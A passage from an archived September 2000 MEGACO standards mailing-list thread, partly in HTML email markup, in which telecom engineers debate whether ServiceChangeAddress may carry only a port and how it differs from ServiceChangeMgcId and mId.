> > > > > > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > > > > > >
> > > > > > > > > > > The example shows just a port number.
> > > > > > > > > >
> > > > > > > > > > Actually, I thought that's all that would be
> > > > allowed in the
> > > > > > > > > > case of IP. If
> > > > > > > > > > not, how can it be within the "context of the
> > > association
> > > > > > > > > > currently being
> > > > > > > > > > negotiated", and how would it then relate to
> > > > ServiceChangeMgcId
> > > > > > ?
> > > > > > > > > >
> > > > > > > > > > -- Flemming
> > > > > > > > > >
> > > > > > > > > > >
> > > > > > > > > > >
> > > > > > > > > > > Should that be legal?  Should you have to
> > > specify the IP
> > > > > > address
> > > > > > > > > > > as x.x.x.x:p?
> > > > > > > > > > >
> > > > > > > > > > > Brian
> > > > > > > > > >
> > > > > > > > > > --
> > > > > > > > > > Flemming Andreasen
> > > > > > > > > > Cisco Systems
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > >
> > > > > > > > --
> > > > > > > > Flemming Andreasen
> > > > > > > > Cisco Systems
> > > > > > > >
> > > > > > > >
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > >
>
> --
> Flemming Andreasen
> Cisco Systems
>
>
>


------_=_NextPart_001_01C018CD.4A4ADC5A
Content-Type: text/html;
        charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>RE: Supplying only a port on a ServiceChangeAddress</TITLE>

<META content="MSHTML 5.00.3017.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=720531013-07092000>NO!!!!
The MG doesn't care at all.&nbsp; </SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=720531013-07092000></SPAN></FONT>&nbsp;</DIV>
<BLOCKQUOTE
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
  size=2>-----Original Message-----<BR><B>From:</B> Tom-PT Taylor
  [mailto:taylor@nortelnetworks.com]<BR><B>Sent:</B> Wednesday, September 06,
  2000 7:04 PM<BR><B>To:</B> 'Bharat Kaul'; Rosen, Brian; 'Flemming
  Andreasen'<BR><B>Cc:</B>
  megaco@standards.nortelnetworks.com<BR><B>Subject:</B> RE: Supplying only a
  port on a ServiceChangeAddress<BR><BR></DIV></FONT>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=870500123-06092000>Does
  it really matter whether the MG knows that it is talking to the same or a new
  entity?</SPAN></FONT></DIV>
  <BLOCKQUOTE
  style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
    <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
    size=2>-----Original Message-----<BR><B>From:</B> Bharat Kaul
    [mailto:bharat@trillium.com]<BR><B>Sent:</B> Wednesday, September 06, 2000
    6:34 PM<BR><B>To:</B> 'Rosen, Brian'; Taylor, Tom-PT [NORSE:B901:EXCH];
    'Flemming Andreasen'; Bharat Kaul<BR><B>Cc:</B>
    megaco@standards.nortelnetworks.com<BR><B>Subject:</B> RE: Supplying only a
    port on a ServiceChangeAddress<BR><BR></DIV></FONT>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN class=166452822-06092000>I
    also agree with what seems to be the evolving
    consensus.&nbsp;&nbsp;</SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000>However, we might to have evaluate the choice of IP
    Address being present as part of ServiceChangeAddress more carefully before
    disallowing it. </SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000>The case in point being an entity wanting to
    redirect the conversation on a particular interface and a port or current
    interface and a particular port. For first case, we need to allow presence
    of IP Address. For second case, we are fine with port. So effectively, it
    boils down to using ServiceChangeMgcId.</SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN class=166452822-06092000>It
    might be&nbsp; a requirement that&nbsp;MG&nbsp; receiving&nbsp;the
    parameter&nbsp; knows exactly that it has been asked to communicate on other
    interface with the same&nbsp;MGC and hasn't been redirected to a altogether
    new MGC otherwise the MG might interpret them as two separate entities which
    is not a correct picture.</SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000>Any comments on&nbsp; this ?</SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN class=166452822-06092000>-
    Bharat</SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
    <BLOCKQUOTE style="MARGIN-RIGHT: 0px">
      <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
      size=2>-----Original Message-----<BR><B>From:</B> Rosen, Brian
      [mailto:Brian.Rosen@marconi.com]<BR><B>Sent:</B> Wednesday, September 06,
      2000 11:12 AM<BR><B>To:</B> 'Tom-PT Taylor'; 'Flemming Andreasen'; Bharat
      Kaul<BR><B>Cc:</B> megaco@standards.nortelnetworks.com<BR><B>Subject:</B>
      RE: Supplying only a port on a ServiceChangeAddress<BR><BR></DIV></FONT>
      <BLOCKQUOTE
      style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
        <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
        size=2></DIV></FONT>
        <P><FONT size=2>OK, I'd say we have consensus on the following:</FONT>
        </P>
        <P><FONT size=2>(1) As oft repeated, the mId designates a peer in a
        control session.&nbsp; It does not change even if the addresses used in
        the session change.&nbsp; Different port addresses could be used to
        designate different virtual MGs, but this is a local implementation
        issue.<FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>I'm assuming here&nbsp;that you mean mId, the
        thing that goes in every message, and that&nbsp;there is no arbitrary
        changing of it - changes get signalled in ServiceChange.&nbsp;&nbsp;mId
        serves to identify which association this message refers to.&nbsp; Given
        those caveats</SPAN></FONT></FONT><FONT size=2><FONT color=#0000ff
        face=Arial><SPAN class=730190518-06092000>, I
        agree.&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2>(2) ServiceChangeAddress can be used to change the
        address to which the peer sends requests within the existing control
        session.&nbsp; The ABNF syntax of ServiceChangeAddress is VALUE, which
        permits designation of a port only within a quoted string.&nbsp; The
        difference between this and the ASN.1 syntax is what started this whole
        thread, but is irrelevant because the functionality is still
        available.&nbsp; There is the legitimate question of whether the
        ServiceChangeAddress functionality is needed.&nbsp; I'm not sure I have
        consensus to deprecate use of ServiceChangeAddress.<FONT color=#0000ff
        face=Arial><SPAN
class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>I'd like to see if we could develop a
        consensus, but I can live with it.</SPAN></FONT></FONT></P>
        <P><FONT color=#0000ff face=Arial size=2><SPAN
        class=730190518-06092000>I'm still concerned about the difficulty of
        changing address, or port, with TCP transport.&nbsp; We need at least a
        note of caution in the Implementers Guide.</SPAN></FONT></P>
        <P><FONT size=2>(3) ServiceChangeMGgcId is used to redirect the control
        session.&nbsp; The ABNF type of ServiceChangeMgcId is MId, which
        presumably is why MId is so carefully developed as an address.<FONT
        color=#0000ff face=Arial><SPAN
        class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>Yes!&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2>There is an open issue regarding TCP.&nbsp; That is, is
        everyone prepared to accept the restriction Bharat wants to place on
        TCP, to the effect that the MG is never a listener?<FONT color=#0000ff
        face=Arial><SPAN
class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>Yes!</SPAN></FONT></FONT></P>
        <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>Brian&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2>&gt; -----Original Message-----</FONT> <BR><FONT
        size=2>&gt; From: Flemming Andreasen [<A
        href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
        <BR><FONT size=2>&gt; Sent: Wednesday, September 06, 2000 10:39
        AM</FONT> <BR><FONT size=2>&gt; To: Rosen, Brian; Taylor, Tom-PT
        [NORSE:B901:EXCH]; Bharat Kaul</FONT> <BR><FONT size=2>&gt; Cc:
        MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt;
        Subject: Re: Supplying only a port on a ServiceChangeAddress</FONT>
        <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; </FONT><BR><FONT
        size=2>&gt; So do we have any consensus resolution on this issue
        ?</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; --
        Flemming</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt;
        "Rosen, Brian" wrote:</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT
        size=2>&gt; &gt; Yeah, the mId started life as the thing in the header
        that let an</FONT> <BR><FONT size=2>&gt; &gt; MGC know which entity it
        was talking to.&nbsp; It's always been an</FONT> <BR><FONT size=2>&gt;
        &gt; address though - desirable as an FQDN and acceptable to be a
        hard</FONT> <BR><FONT size=2>&gt; &gt; address.</FONT> <BR><FONT
        size=2>&gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; The intention of
        ServiceChangeMid was to be the referral </FONT><BR><FONT size=2>&gt;
        address for an</FONT> <BR><FONT size=2>&gt; &gt; association that was
        not acceptable to the MGC.&nbsp; </FONT><BR><FONT size=2>&gt;
        ServiceChangeAddress used</FONT> <BR><FONT size=2>&gt; &gt; to be port,
        and it was just for changing port numbers, not </FONT><BR><FONT
        size=2>&gt; addresses.&nbsp; We</FONT> <BR><FONT size=2>&gt; &gt; went
        downhill (IMO) from there.</FONT> <BR><FONT size=2>&gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; I'm with Flemming, one thing is all we need,
        but we are </FONT><BR><FONT size=2>&gt; stuck with 2 for</FONT>
        <BR><FONT size=2>&gt; &gt; now.</FONT> <BR><FONT size=2>&gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; Brian</FONT> <BR><FONT size=2>&gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; -----Original
        Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt; From: Tom-PT Taylor
        [<A
        href="mailto:taylor@NORTELNETWORKS.COM">mailto:taylor@NORTELNETWORKS.COM</A>]</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; Sent: Tuesday, September 05, 2000 3:16
        PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; To:
        MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; Subject: Re: Supplying only a port on a ServiceChangeAddress</FONT>
        <BR><FONT size=2>&gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; I think we agree that MId is
        just an identifier of a peer </FONT><BR><FONT size=2>&gt; in a
        control</FONT> <BR><FONT size=2>&gt; &gt; &gt; session.&nbsp; I still
        ask myself why we defined it to be an</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; address rather than</FONT> <BR><FONT size=2>&gt; &gt; &gt; an
        arbitrary string.&nbsp; I suspect we changed intentions since</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; it first showed</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; up.</FONT> <BR><FONT size=2>&gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; -----Original Message-----</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; From: Flemming Andreasen [<A
        href="mailto:fandreas@CISCO.COM">mailto:fandreas@CISCO.COM</A>]</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; Sent: Tuesday, September 05, 2000
        3:12 PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; To:
        MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; Subject: Re: Supplying only a port on a
        ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; Bharat Kaul wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Hi Flemming, Brian
        and List,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;&nbsp;&nbsp; ServiceChangeMGCId
        should be kept for contacting a new</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; MGC or rather</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        establishing new control Session.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        ServiceChangeAddress is for redirection within a MGC e.g.</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; MG contacts MGC at</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; a default port and based on some policy
        MGC wants to assign</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; MG to a
        specific</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; port, it
        should send ServiceChangeAddress specifying the</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; port.These two</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; semantics seem clear and fair enough.</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; I quite frankly don't understand the need for having port
        as</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; an identifier and</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; then being able to specify another
        port to override it, while</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        keeping the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; identifier port
        the same.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; Port in MID should be just a tool to
        identify an entity</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; uniquely,
        with one</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; requirement
        that MID for a control session is consistent</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; between two</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; entities.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; In that case it should be called
        something different than a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        port, or at least be</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; treated
        as something different.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; -- Flemming</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; - Bharat</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; -----Original
        Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; From:
        Flemming Andreasen [<A
        href="mailto:fandreas@CISCO.COM">mailto:fandreas@CISCO.COM</A>]</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Sent: Tuesday, September 05,
        2000 8:29 AM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; To:
        MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; Subject: Re: Supplying only a port on a
        ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Let's take a step
        back here and ask ourselves what we are</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; trying to achieve:</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; 1. We have a
        need to identify the entity we wish to</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; communicate with</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        2. We have a need to communicate with that entity.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; This is a classical naming issue that doesn't need to</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; become overly</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; complicated. In order to get from the
        name in 1 to the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; address (or
        route) in</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; 2, you need
        to perform name resolution in the cases where</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; the name itself is</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; not an address. For domain names, this
        name resolution is</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; achieved
        by DNS,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; for
        IP-addresses, it should normally be a NOP. By having both</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; ServiceChangeMGGId and
        ServiceChangeAddress, you are</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; effectively providing</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; an alternate name resolution mechanism which overrides DNS</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; and allows one</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; IP-address to map to another. We should
        not be doing that,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; and I
        also note</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; that this was
        probably not the authors' intent, since</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; and ServiceChangeMGCId are not both allowed in a
        </FONT><BR><FONT size=2>&gt; single command.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; That still leaves open the question of exactly what</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; then is, and I believe Brian
        answered that earlier with his</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; two proposals.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; In
        a perfect world, I would prefer getting rid of</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress, but</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; we may be beyond that. Does it make
        sense to allow just a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; port
        number then ?</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        Considering that we already allow for port in mId, port is</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; part of the name</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; and for the same reasons as we shouldn't
        map one IP-address</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; to
        another, we</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; shouldn't
        map one port to another either IMO. If the MGC</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; (or MG) wants the</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; other party to talk to it on another
        port, it simply sends</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; back
        another</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        ServiceChangeMGCId with that port number in it.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; -- Flemming</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; "Rosen, Brian"
        wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; It depends on what you want to have
        happen.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; If you want the MG, on
        receipt of a reply with a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        ServiceChangeAddress,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; to tear down it's current transport connection, create</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; a new one,</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; and stand by for messages from the MGC, then I
        suppose</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; you would be</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; correct.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; If it was TCP (and I guess SCTP), this is pretty
        weird,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; because the</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; MG established a full
        duplex connection, but the </FONT><BR><FONT size=2>&gt; next message
        is</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; almost
        certainly from the MGC.&nbsp; The MGC is going to have</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; to watch for</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; this carefully, and not send messages until the
        new</FONT> <BR><FONT size=2>&gt; &gt; &gt; channel is up.</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; Or, the MGC can just use
        ServiceChangeMid.&nbsp; The MG will</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; respond by</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        tearing down the transport, establishing a new one, </FONT><BR><FONT
        size=2>&gt; and sending</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; a new ServiceChange.&nbsp; The MGC "fires and forgets" -- the
        new</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; ServiceChange,
        at the "new" address, looks like a</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; complete new start.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; -----Original
        Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; From:
        Christian Groves</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; Sent: 9/3/00 7:38 PM</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; Subject: Re: Supplying only a port
        on a ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; G'Day
        Brian and Flemming,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; I saw that
        the difference between when you use</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; ServiceChangeAddress and</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; ServiceChangeMid was that the ServiceChangeAddress
        was</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; used when talking</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; to an already contacted
        physical MGC. The</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        ServiceChangeMid was used to</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; contact a physically seperate MGC. So I don't see
        </FONT><BR><FONT size=2>&gt; the need of</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; disallowing anything but the port in IP as the
        MGC may</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; have a range
        of</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        addresses.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; Cheers, Christian</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; "Rosen, Brian" wrote:</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; I thought you might say that,
        I've been thinking about it</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; since I sent the message.</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; Posing the question slightly differently, if
        the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; can do what ServiceChangeMid can do, so why have two</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; mechanisms?</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; The only difference would be the MGs
        actions.&nbsp; If you used</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; ServiceChangeAddress,</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; the MG would not send a new ServiceChange
        command to</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; the new
        address.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; If
        you used ServiceChangeMid, it would.&nbsp; The end result</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; would be the</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; same.</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; We can:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
        Explicitly disallow ServiceChangeAddress from</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; being used to</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt;
        &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
